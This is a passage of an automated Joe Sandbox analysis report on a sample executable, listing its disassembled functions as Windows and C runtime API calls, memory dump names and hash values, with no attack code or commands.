Instruction Fuzzy Hash: 1E219271604209AFDF20FFA5C88182AB7A9FF543647188529F91AD7651FB30EC20CBA1

Function 008872A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e20cac9c9cc1a66c0a9a74a81e5ff32a6d400568f117845d22eda346bdc7383
Instruction ID: e7ec5f6e5c2bbe5eccabc580511fb94b3c284434f6382091b1f25b27e7b62089
Opcode Fuzzy Hash: 5e20cac9c9cc1a66c0a9a74a81e5ff32a6d400568f117845d22eda346bdc7383
Instruction Fuzzy Hash: E3219271608209AFDB20FFA5C881D6AB7B9FF503647604528FD16D7751E730EC00A7A2

Function 00897588 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00897590

Part of subcall function 008905D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00891D78,?,00000000,-00000008), ref: 00890632

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008975C8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008975E8

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: cd2ea9ece118dc12c1048e70e20139ca8cd194c087b780dd6513e96950fb2fc1
Instruction ID: ef4a21da9e725d7ed52f21b1324b22f95755c57a23e1a993ddea37e2bd7c27c4
Opcode Fuzzy Hash: cd2ea9ece118dc12c1048e70e20139ca8cd194c087b780dd6513e96950fb2fc1
Instruction Fuzzy Hash: FC1104E2A15A197EBE1277B99C89C7F296CFE5A3987180424F901E1501FB64CD0185BA

Function 0088328F Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00883296
std::_Lockit::_Lockit.LIBCPMT ref: 008832A0

Part of subcall function 00874360: std::_Lockit::_Lockit.LIBCPMT ref: 0087438E
Part of subcall function 00874360: std::_Lockit::~_Lockit.LIBCPMT ref: 008743B9

codecvt.LIBCPMT ref: 008832DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00883311

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: a41d8a334b7c6957b718284f2bf915646577035a121bc478aee3655e80ecf3c0
Instruction ID: 974a46d113229fca1503357f56c42475d1e5cf1765ec2ce04350511d217e4a18
Opcode Fuzzy Hash: a41d8a334b7c6957b718284f2bf915646577035a121bc478aee3655e80ecf3c0
Instruction Fuzzy Hash: BF01AD32A002198BDB05BBA8E815AAE77B5FF91B10F140409F406EB391DF70DE01CB92

Function 0089F0B0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,0089E59F,00000000,00000001,?,?,?,00898758,?,00000000,00000000), ref: 0089F0C7
GetLastError.KERNEL32(?,0089E59F,00000000,00000001,?,?,?,00898758,?,00000000,00000000,?,?,?,0089809E,?), ref: 0089F0D3

Part of subcall function 0089F124: CloseHandle.KERNEL32(FFFFFFFE,0089F0E3,?,0089E59F,00000000,00000001,?,?,?,00898758,?,00000000,00000000,?,?), ref: 0089F134

___initconout.LIBCMT ref: 0089F0E3

Part of subcall function 0089F105: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0089F0A1,0089E58C,?,?,00898758,?,00000000,00000000,?), ref: 0089F118

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,0089E59F,00000000,00000001,?,?,?,00898758,?,00000000,00000000,?), ref: 0089F0F8

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5696daa3f2db41ee5a5dddea7522a52efbcdc4270e40ae0c73b0876dc8266703
Instruction ID: eb1acd2c65c42a3bb37e68b3e64d5b3fb26ca61da44227b472ee3c1f129a7265
Opcode Fuzzy Hash: 5696daa3f2db41ee5a5dddea7522a52efbcdc4270e40ae0c73b0876dc8266703
Instruction Fuzzy Hash: CDF0AC36500125BBDF262FD5DC089993F66FF493A1B094420FB19D5531E7328820DBD5

Function 00884C10 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00884C22
GetCurrentThreadId.KERNEL32 ref: 00884C31
GetCurrentProcessId.KERNEL32 ref: 00884C3A
QueryPerformanceCounter.KERNEL32(?), ref: 00884C47

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d915283fc15a07c773fd22d9284ef662635aa3559e6cdca3190c7d95302b16ef
Instruction ID: fcadc8af5ba60e6c171950d35243c719d1267b673abbd06dbcf73fbb619925f7
Opcode Fuzzy Hash: d915283fc15a07c773fd22d9284ef662635aa3559e6cdca3190c7d95302b16ef
Instruction Fuzzy Hash: 3EF0AF30C0020CEBCB04DBF4C94999EBBF4FF1D200B914995A412E7910E730AA44DF51

Function 00894D72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0088AB4D,?,?,?,00000055,?,-00000050,?,?,?), ref: 00894E31
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0088AB4D,?,?,?,00000055,?,-00000050,?,?), ref: 00894E68

Strings

utf8, xrefs: 00894F3A

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 08e78ecdc2270436373ee77c4e0c93795d798103257eaae58be8d4784bb64f9d
Instruction ID: 5dd24f579d8ddd01f8c23725cc6ef84124d3a5f1c9e2b7a9a6a1f77d2f6b6bf2
Opcode Fuzzy Hash: 08e78ecdc2270436373ee77c4e0c93795d798103257eaae58be8d4784bb64f9d
Instruction Fuzzy Hash: 2E51F631A04306AAEF25BB78CC46FAA73A8FF49710F1C6429F515D7181FB70E9428766

Function 0088FF48 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0088FE49,?,?,00000000,00000000,00000000,?), ref: 0088FF6D

Strings

RCC, xrefs: 0088FF87
MOC, xrefs: 0088FF7F

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2ea20f0927d4791bf2e78e2cd171193030b379965adb0a24e2b5f7d97079e9f2
Instruction ID: 7cf0b2a250dc46fc7f9017e4dc8d519d243b01b8f50c70b7499270a41e48d9d6
Opcode Fuzzy Hash: 2ea20f0927d4791bf2e78e2cd171193030b379965adb0a24e2b5f7d97079e9f2
Instruction Fuzzy Hash: 18414972900509AFDF16EF98CD81AEEBBB5FF48300F188069FA04A7262D7359990DF51

Function 0088F7B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0088FA2B

Strings

csm, xrefs: 0088FABE
csm, xrefs: 0088FA4D

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: c669e1417f81cf9df9e165520913f6f6e087970e66c0adf4dafb2b93cde3a989
Instruction ID: 21904da85d1ad83a8dd8e7b3242ed5dd6ea30c28a4891051c14d947a216f9881
Opcode Fuzzy Hash: c669e1417f81cf9df9e165520913f6f6e087970e66c0adf4dafb2b93cde3a989
Instruction Fuzzy Hash: 8B31C4725002189BCF26AF54DC549AA7B65FF08339B18817AFE58CA123D332DDA1DB91

Function 00881F82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0088200A
RaiseException.KERNEL32(?,?,?,?), ref: 0088202F

Part of subcall function 00884D23: RaiseException.KERNEL32(E06D7363,00000001,00000003,00883ADE,?,?,?,?,00883ADE,00001000,008AAE2C,00001000), ref: 00884D84

Part of subcall function 0088D2B9: IsProcessorFeaturePresent.KERNEL32(00000017,00887E7B,?,?,?,?,00000000), ref: 0088D2D5

Strings

csm, xrefs: 00881FBE

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: c0f1d6b6543db55d6d1f8ba014990c0fc93c46d683ee17577ac8a22f3d9e6883
Instruction ID: 3cb77693833fb619a2a17be42c0b627e4dc5bac98b4e41ad941ab1b9e97bc65e
Opcode Fuzzy Hash: c0f1d6b6543db55d6d1f8ba014990c0fc93c46d683ee17577ac8a22f3d9e6883
Instruction Fuzzy Hash: 7C219F32D006189BCF25FF98D9859AEB7B9FF14714F14440AEA05EF250DB34AE45CB81

Analysis Process: aD7D9fkpII.exePID: 572, Parent PID: 6408COMMON

Non-executed Functions

Function 00895DD3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,008957A4,00000002,00000000,?,?,?,008957A4,?,00000000), ref: 00895E6C
GetLocaleInfoW.KERNEL32(?,20001004,008957A4,00000002,00000000,?,?,?,008957A4,?,00000000), ref: 00895E95
GetACP.KERNEL32(?,?,008957A4,?,00000000), ref: 00895EAA

Strings

ACP, xrefs: 00895DF1
OCP, xrefs: 00895E27

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 94ec411294fb939455e31950cc9efa7f4abb990b4da175028c329cf380a57ef1
Instruction ID: 4dd49cd13aca9d848ae5250d23ea7487b3642311b877c36c74e9ed97df8d4245
Opcode Fuzzy Hash: 94ec411294fb939455e31950cc9efa7f4abb990b4da175028c329cf380a57ef1
Instruction Fuzzy Hash: 4C216072A00904AAEF26AF55C904AAF73A6FB54F54B5E8424E90ADB500E733DF41C790

Function 0089566E Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00895776
IsValidCodePage.KERNEL32(00000000), ref: 008957B4
IsValidLocale.KERNEL32(?,00000001), ref: 008957C7
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0089580F
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0089582A

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 2f5f085a59c0fc3b687805263b573d76d18dd92ba71e70908eb55150ca52ec5e
Instruction ID: 92eb5ecabd7da23b356b22ae3b174de0701f44197c38f0b1960c4070b8c5b2df
Opcode Fuzzy Hash: 2f5f085a59c0fc3b687805263b573d76d18dd92ba71e70908eb55150ca52ec5e
Instruction Fuzzy Hash: 7C515F71A00609EFEF12EFA8CC45ABE77B8FF45700F1C4469A911E7691EB709A44CB61

Function 0088E930 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction ID: 5cc9fbc377a8edd18052cd309e2491e7e5261e33df1ea5397c964cc53598f3eb
Opcode Fuzzy Hash: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction Fuzzy Hash: 06023A71E012199FDF14DFA8C9806AEBBF1FF48324F258269E919E7381D731A945CB90

Function 008963B5 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008964A5

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: c7cc4b65f01fef92bb14e3c9407c4bd2a5b774bfe956229116018a218de03514
Instruction ID: de62bcfd6dbb507daa0bc9afc55286812e010e5a0c78df76a3c8fe22f7d1cb50
Opcode Fuzzy Hash: c7cc4b65f01fef92bb14e3c9407c4bd2a5b774bfe956229116018a218de03514
Instruction Fuzzy Hash: A171F2B1C05169AFDF21BF688C89ABEBBB8FB05304F1841D9E009D3211EB318E949F15

Function 00884073 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0088407F
IsDebuggerPresent.KERNEL32 ref: 0088414B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00884164
UnhandledExceptionFilter.KERNEL32(?), ref: 0088416E

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 56faaa7fb1a4a986132fa81e201d9031a247fb080bfc937a0b43ff3d302af080
Instruction ID: 23cf10d9ceef9fbd6bb6503d3d26e2fc021b1499f231d1551b0cddc67ad3abd7
Opcode Fuzzy Hash: 56faaa7fb1a4a986132fa81e201d9031a247fb080bfc937a0b43ff3d302af080
Instruction Fuzzy Hash: CE31F776D012199BDB20EFA4D9897CDBBB8FF18300F1041AAE50DAB250EB759A84DF45

Function 0089EDF2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,0089EDDD,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 0089EE98
__alloca_probe_16.LIBCMT ref: 0089EF53
__alloca_probe_16.LIBCMT ref: 0089EFE2
__freea.LIBCMT ref: 0089F02D
__freea.LIBCMT ref: 0089F033
__freea.LIBCMT ref: 0089F069
__freea.LIBCMT ref: 0089F06F
__freea.LIBCMT ref: 0089F07F

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 0be7d32f8e0ca54c880b7d84778ddf8caa804f15350d8e73760853262c11dfac
Instruction ID: a05629fd7fe28c8fb1901a22008f37e2ada5659e423fe51c5047002345626d08
Opcode Fuzzy Hash: 0be7d32f8e0ca54c880b7d84778ddf8caa804f15350d8e73760853262c11dfac
Instruction Fuzzy Hash: BF71B3729006099FDF24FA688C41BAF7BA9FF49314F2D0169EA05E7283DB769C418761

Function 008845A9 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 008845F0
__alloca_probe_16.LIBCMT ref: 0088461C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0088465B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00884678
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 008846B7
__alloca_probe_16.LIBCMT ref: 008846D4
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00884716
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00884739

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
